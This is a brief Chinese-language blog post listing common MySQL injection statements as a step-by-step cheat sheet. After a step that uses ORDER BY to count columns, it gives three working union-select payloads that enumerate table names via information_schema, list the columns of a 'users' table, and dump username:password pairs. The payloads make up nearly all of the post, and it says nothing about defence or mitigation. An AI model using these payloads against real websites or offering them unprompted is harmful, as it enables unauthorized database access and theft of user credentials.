0
点赞
收藏
分享

微信扫一扫

常用mysql注入语句

1、利用order by 判断字段数。

2、利用union select 联合查询,获取表名。

0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

3、利用union select 联合查询,获取字段名。

0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

4、利用union select 联合查询,获取字段值。

0' union select 1,group_concat(username,0x3a,password),3 from users--+

 



举报

相关推荐

0 条评论